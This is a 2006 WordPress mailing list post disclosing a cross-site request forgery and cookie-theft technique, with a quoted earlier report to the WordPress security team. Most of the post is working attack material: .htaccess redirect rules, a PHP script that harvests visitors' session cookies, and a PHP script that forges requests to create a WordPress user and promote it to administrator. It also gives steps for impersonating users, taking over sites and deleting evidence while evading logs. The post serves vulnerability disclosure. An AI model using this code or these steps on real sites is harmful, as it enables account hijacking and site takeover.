[wp-hackers] RE: A quick update on the security issue I'd mentioned today

Brian Layman Brian at TheCodeCave.com
Mon Apr 24 16:35:35 GMT 2006


OK Sorry for the delay.  My wife's parents are coming into town and the
"Honey do..." list grew quite large.
 
I haven't moved much further on this, and I'm not sure that I am going to
have time to do - for a few days anyway.
 
Plus I've discovered a limiting factor that reduces the circumstances under
which this attack can be used.  That means I feel better about disclosing
this all.
 
Saturday morning when I looked at this with a fresh pair of eyes, I noticed
that the test that I'd written to verify that I'd stolen a cookie from my
wife's blog actually matched the cookies from my own blog.  Basically the
cookie serving was according to the value in _SERVER's HTTP_HOST setting NOT
the referrer setting.  That is VERY good for security.  It adds one more
requirement for the attack.  The file that does the post MUST be somewhere
on the server being attacked OR the cookie content an admin must be snatched
some other way so that it can be completely rebuilt and submitted with the
post.
 
It turns out that I share my file space with others apparently more freely
than I should.  I'd thought I'd done a fairly good job of protecting myself.
I give access to a FTP address with a password that ONLY allows access to
that directory.  The directory is outside of all of my website directory
trees.  This way if tries to do something that tunnels upwards, it won't
work.  However, I do allow http access to it from that domain through a
symbolic link.  As a result, I've been able to harvest user cookies from
VBulletin.  It's all done through an image in my sig and would be able to
harvest them from WordPress as well.  This means my user-add-and-upgrade
attack would work as described in the first email, assuming a php file can
be placed anywhere on the server accessible through PHP.  This includes in a
theme or plugin directory OR in a website you are dynamically mirroring for
someone through htaccess.
-
Here are the details of the attacks.  I'll let others play with it more.  I
don't have time at the moment.  I'll let you all research the details of the
calls too.
 
COOKIE THEFT attack.
On your own server create a directory.  Name it similar to a real directory
(imgs instead of images)
Create  a .htaccess file with the following content:
 

RewriteEngine On
RewriteCond %{HTTP_REFERER} (com) [NC]
RewriteCond /imgs/%{REQUEST_FILENAME} !-f
RewriteRule ^(.+)
<http://www.SERVERTOBEATTACKED.com/PATHTOATTACKPHP/ATTACKFILE.php?referrer=%
{HTTP_REFERER}&file=%{REQUEST_FILENAME>
http://www.SERVERTOBEATTACKED.com/PATHTOATTACKPHP/ATTACKFILE.php?referrer=%{
HTTP_REFERER}&file=%{REQUEST_FILENAME} [L]
 
RewriteEngine On
RewriteCond /remapper/%{REQUEST_FILENAME} !-f
RewriteRule ^(.+)  <http://www.ANYURLTOAREALIMAGE.com/images/smeg.jpg>
http://www.ANYURLTOAREALIMAGE.com/images/smeg.jpg

Place on the server to be attacked a file with the following code:

<?PHP
  $UrlParts = parse_url($referrer);
  $HistoryFileName = "cookies_".$UrlParts["host"].".htm";
  ignore_user_abort(true);    ## prevent refresh from aborting file
operations and hosing file
  $fh = fopen($HistoryFileName, "a+");
  if ($fh) {
    if (flock($fh, LOCK_EX)){    ## don"t do anything unless lock is
successful
      foreach ( $_COOKIE as $ind=>$val )
        fwrite($fh, "$ind=$val;  <br />\r\n");
      fwrite($fh,
"---------------------------------------------------------------------------
-------------  <br />\r\n  <br />\r\n  <br />\r\n  <br />\r\n");
      fflush($fh);
      ftruncate($fh, ftell($fh));
      flock($fh, LOCK_UN);
    }
    fclose($fh);
  }
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL,"
<http://www.anyurltoarealimage.com/images/smeg.jpg>
http://www.ANYURLTOAREALIMAGE.com/images/smeg.jpg");
  curl_exec ($ch);
  curl_close ($ch);
?>

Now, put an image in your sig that points to any file in the imgs (whatever)
directory.  The resulting image that will be seen will be in the images
directory and that is not likely to be noticed.  Then you don't even have to
log in again. Just sit back refresh your browser as cookies are appended to
the htm history files.  When you find one with a low number, replace the
info in your own cookie and visit the sit.  You'll find you can log in as
that user just fine.  BTW, even if they did not choose to save the password
when they visited the site, this still works fine.  And as long as the
cookie file you are editing on your own PC was set to log you in everytime,
you can edit it and log in as them automatically everytime.
 
 
 
 
Admin User Creation attack
On your own server, create a directory.  Name it similar to a real directory
(e.g. imgs instead of images).
Create  an .htaccess file with the following content:

RewriteEngine On
RewriteCond %{HTTP_REFERER} (com) [NC]
RewriteCond /imgs/%{REQUEST_FILENAME} !-f
RewriteRule ^(.+)
<http://www.servertobeattacked.com/PATHTOATTACKPHP/ATTACKFILE.php?referrer=%
{HTTP_REFERER}&file=%{REQUEST_FILENAME>
http://www.SERVERTOBEATTACKED.com/PATHTOATTACKPHP/ATTACKFILE.php?referrer=%{
HTTP_REFERER}&file=%{REQUEST_FILENAME} [L]
 
RewriteEngine On
RewriteCond /remapper/%{REQUEST_FILENAME} !-f
RewriteRule ^(.+)  <http://www.ANYURLTOAREALIMAGE.com/images/smeg.jpg>
http://www.ANYURLTOAREALIMAGE.com/images/smeg.jpg

Place on the server to be attacked a file with the following code: (This can
be on your own server if you've already stolen a cookie)

<?PHP
 
// ADD A CHECK HERE FOR THE WP ADMIN USER
// Just display the image if the name is not admin or if the user is not 1
 
// Get the site to attack from the referrer  htaccess passed in.
$UrlParts = parse_url($referrer);
 
// Hmmm, if the user name and password are ever sent, I should save them.
However IE blocked that pre SP2.
// So that will be a dry well for the most part.
$FileParts = pathinfo($file);
$nextuser = basename($file); 
$nextuser = basename($nextuser, ".jpg");   // Strip the extensions.  I'm
controlling what is sent, so this is a small list. 
$nextuser = basename($nextuser, ".gif");
$HistoryFileName = $UrlParts["host"].".htm";  // Store a different file for
each host 
// only create the user if a jpg is requested and the attack hasnt been done
before for this site
if (($FileParts["extension"] === "jpg")) &&
!(file_exists($HistoryFileName))) {
  $URL=$UrlParts[scheme]."://".$UrlParts[host]."/wp-admin/users.php";
  $REF=$URL;
 
// Build the submit string.  Sometime I should write a file that will do
this for me.  A Firefox plugin could do this...    
$submit="action=adduser&user_login=".$nextuser."&first_name=".$nextuser."&la
st_name=".$nextuser."&email=".$nextuser."@".$nextuser.".com&url=".$nextuser.
"&pass1=".$nextuser."&pass2=".$nextuser."&AddUser=Add User";
  foreach ( $_COOKIE as $ind=>$val )
    $cookie.= "$ind=$val;";
 
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $URL);
  curl_setopt($ch, CURLOPT_REFERER, $REF);
  curl_setopt($ch, CURLOPT_HOST, $UrlParts['host']);
  curl_setopt($ch, CURLOPT_POST, 1);
  // curl_setopt($ch, CURLOPT_COOKIE, $cookie);  // Rebuild cookie here if
this is a site specific attack
  curl_setopt($ch, CURLOPT_POSTFIELDS, $submit);
  curl_exec ($ch);
  curl_close ($ch);
 
  // Log the details of the attack
  ignore_user_abort(true);    ## prevent refresh from aborting file
operations and hosing file
  $fh = fopen($HistoryFileName, "a+");
  if ($fh) {
    if (flock($fh, LOCK_EX)){    ## don"t do anything unless lock is
successful
      // rewind($fh);
      fwrite($fh, "<html>  <br />\r\n");
      fwrite($fh, "Attack URL: ".$URL."  <br />\r\n");
      fwrite($fh, "Submitted Post vals: ".$submit."  <br />\r\n");
      fwrite($fh, "Cookie as came in:  <br />\r\n");
      foreach ( $_COOKIE as $ind=>$val )
        fwrite($fh, "$ind=$val;  <br />\r\n");
      fwrite($fh, "_SERVER as came in:  <br />\r\n");
      foreach ( $_SERVER as $ind=>$val )
        fwrite($fh, "$ind=$val;  <br />\r\n");
      fwrite($fh,
"---------------------------------------------------------------------------
-------------  <br />\r\n  <br />\r\n  <br />\r\n  <br />\r\n");
      fwrite($fh, "</html>  <br />\r\n");
 

      fflush($fh);
      ftruncate($fh, ftell($fh));
      flock($fh, LOCK_UN);
    }
    fclose($fh);
  }
}
// Always try to upgrade the user - it is a freebie
if (($FileParts["extension"] === "gif") || ($FileParts["extension"] ===
"jpg")) {
  $URL =
$UrlParts[scheme]."://".$UrlParts[host]."/wp-admin/user-edit.php?user_id=".$
nextuser;
  $REF = $URL;
 
$submit="from=profile&checkuser_id=1&user_login=".$nextuser."&role=administr
ator&first_name=".$nextuser."&last_name=".$nextuser."&nickname=".$nextuser."
&display_name=".$nextuser."&email=".$nextuser."@".$nextuser.".com&url&aim&yi
m&jabber&description&pass1=".$nextuser."&pass2=".$nextuser."&action=update&u
ser_id=".$nextuser."&submit=Update User";
  foreach ( $_COOKIE as $ind=>$val )
    $cookie.= "$ind=$val;";
 
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL,"$URL");
  curl_setopt($ch, CURLOPT_REFERER,"$REF");
  curl_setopt($ch, CURLOPT_POST, 1);
  // curl_setopt($ch, CURLOPT_COOKIE, $cookie);  // Rebuild cookie here if
this is a site specific attack
  curl_setopt($ch, CURLOPT_POSTFIELDS, $submit);
  curl_exec ($ch);
  curl_close ($ch);
 

  $HistoryFileName = $UrlParts["host"]."_admin.htm";
  ignore_user_abort(true);    ## prevent refresh from aborting file
operations and hosing file
  $fh = fopen($HistoryFileName, "a+");
  if ($fh) {
    if (flock($fh, LOCK_EX)){    ## don"t do anything unless lock is
successful
      // rewind($fh);
      fwrite($fh, "<html>  <br />\r\n");
      fwrite($fh, $URL."  <br />\r\n");
      fwrite($fh, $submit."  <br />\r\n");
      foreach ( $_COOKIE as $ind=>$val )
        fwrite($fh, "$ind=$val;  <br />\r\n");
      fwrite($fh,
"---------------------------------------------------------------------------
-------------  <br />\r\n  <br />\r\n  <br />\r\n  <br />\r\n");
      fwrite($fh, "</html>  <br />\r\n");
      fflush($fh);
      ftruncate($fh, ftell($fh));
      flock($fh, LOCK_UN);
    }
    fclose($fh);
  }
}
 
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"
<http://www.URLTOSUCCESSIMG.com/images/YOUBEENHACKED.gif>
http://www.URLTOSUCCESSIMG.com/images/YOUBEENHACKED.gif");
curl_exec ($ch);
curl_close ($ch);
 
?> 

Now, you have several options.  If you can easily determine what the range
is of the next user to be created on the site is, you can put a bunch of
jpgs on the site with their file name being the expected number. 2.jpg,
3.jpg, 4.jpg 5.jpg and then it should work.
Alternatively, create a new user using a throw away email address.  Then
login as that user to get the user ID.  Then post something with a
UserID.gif image in it.  Your user will be upgraded to administrator when
that image is viewed.
 
You can again monitor for the htm files to see when that happens.  BTW, I've
made the file names in these attacks dynamic.  You could just as easily make
them static.  That logging method was made when I thought the other site's
cookies were fully available.  You could also have it simply post the
results of the attack to a webpage on your own server that stores all this
in a DB or setup a system so that it emails you when an upgrade attempt has
been made.  Then you aren't dirtying their server with these files.
 
Frankly, I'm glad I was misled on ease of cookie stealing through CSRF.  It
is that easy through XSS, but XSS is easy to protect against too.  If CSRF
could get cookies as it first appeared, just about anything would have been
vulnerable.  I'd rather appear an alarmist (as I unfortunatley do right now
- sorry) than to have that big of a hole there.  The current situation is
not ideal, but it sure limits the vulnerable systems.   That was another
reason why I kept the details off of the public list.  Creating a panic,
even if this hole was as big as I initially thought it was, would have
served no purpose.

-----Original Message-----
From: Brian Layman [mailto:Brian at TheCodeCave.com] 
Sent: Friday, April 21, 2006 10:35 PM
To: 'Security at wordpress.com'
Subject: A quick update on the security issue I'd mentioned today


I wanted to let you all know where I was at before you figured I was just
completely bogus.
 
Here's what I had this afternoon:
Functionality:
1. I have an url that looks and functions as a standard gif or jpg
reference.
2. When that url is activated/viewed with a referrer, the payload is
activated.
3. One url creates a new user with a specified username.
4. One url upgrades that user to administrator status
 
Limitations:
1. If the user already exists, it either displayed a invalid image icon or
if clicked directly, took the admin to a UserAlready exists error.
2. Everything was hard coded.
3. It would try to run if it was not user
 
Technologies:
1. All work would be fully functional on a free 1and1.com account with its
default install (or their $2.99 a month account).  It could be likewise done
through a dyndns link to a home machine.
2. This tecnique retrieves the blog's cookies, all the blog's session info,
proving cookies are not safe.  

3. It forges the referrer from scratch.  Proving not that the referrer is a
bad idea, but that it only blocks out script kiddies.
4. The attack submits multiple posts just from the one image reference.
Proving that posts are little more hinderence than gets.
 
Game plan:
1. Find any WP site that allows you to register as a subscriber.
2. Revisit it through an anonimizer. Create a new user just to get the ID of
the next user to be created.
3. Make a post with a fake user name that contains a Nuclear Smiley (TM) to
upgrade me to an admin
3. Monitor my attack directory for a new file with the website's name
indicating I've been upgraded.
4. Once I am in as an admin, use manage files to get the database &
password.
5. From that point, delete all the users and comments I may have made.  I
can do everything else through mySQL which won't show up in the logs most
people have access to.
 
What I have completed tonight or am working on now (* I'm working on it now
or it needs further testing):
1. Grabs the site to attack from the referrer
2. Only attacks if the cookie indicates it is from a wp site
3. Only attacks if the username is admin* (both are easy to do just haven't
gotten to it yet)
4. Grabs the next UserID from the name of the jpg referenced
5. Records a file with the username and password if it was created
successfully
6. Does not attempt to recreate the user if the history file exists
7. If the file referenced is a jpg, create AND upgrade the user* (I think
this worked but I need to retest)
8. If the file referenced is a gif, only upgrade the user
9. Store a file if the user has been upgraded.* (just thought of it)
10. If the hack is successful (aka not halted) display as a "You now have a
new admin" image.
11.  If no attempt at hacking is made, display a default image.
 
Right now, I can now look at any public php file, determine what it submits,
create a new redirect on my blog for it, and submit it with ANY info I want.
I suspect that 80%-90% of opensource the CMS sites are vulnerable to this.
I've looked around my VBulletin source code and I see nothing to indicate
that I shouldn't be able to create and promote a user the same way.  
Another easier approach to all of this could be to simply steal the cookie
information and recreate the cookie on my own site.    I REALLY REALLY
REALLY hope that windows makes cookie content unique per logged in user, but
if that isn't the case, I might just be able to log in as the admin only by
storing the cookie on my site.  No muss no fuss.  I really hope that isn't
the case.
 

Stuff I want to try: (but won't on real sites)  
1. Make the first attack on the list a change of the notification email (or
is there a "notify when new user is created" switch to toggle? need to
check.)

2. Determine the site can login and retreive the wp_config.php file into a
local file on on fell swoop. 
3. If 2 was possible, delete the newly created user (easy) and if possible,
the comment used to create it.
4. Make the last attack a restoration of the notification email address.
5. Create other attacks that don't try to hide themselves. Such as:

    a. Get the User ID from the session info and assign a known password to
that user and email the blog name, user name and password back to me.

    b. Upgrade EVERYONE to full admin access every time the picture is
viewed by one of the admins.

    c. Put the current post number in the image file name, delete a random
post between 1 and that max post number every time the image is viewed.

    d. Add TheCodeCave.com to everyone's blog roll. MWahhahaha  (OK not a
good idea...)
 

 
There are just a couple things to clean up but TBH I'm fried.  For various
reasons, I've only slept one night out of the last 3.  I doubt I'll finish
this to my satisfaction tonight, I'm probably gonna head off to bed now, but
I should be sending you an url tomorrow.
 
_______________________________________________
Brian Layman
www.TheCodeCave.com
"Obscurity through Verbosity"



More information about the wp-hackers mailing list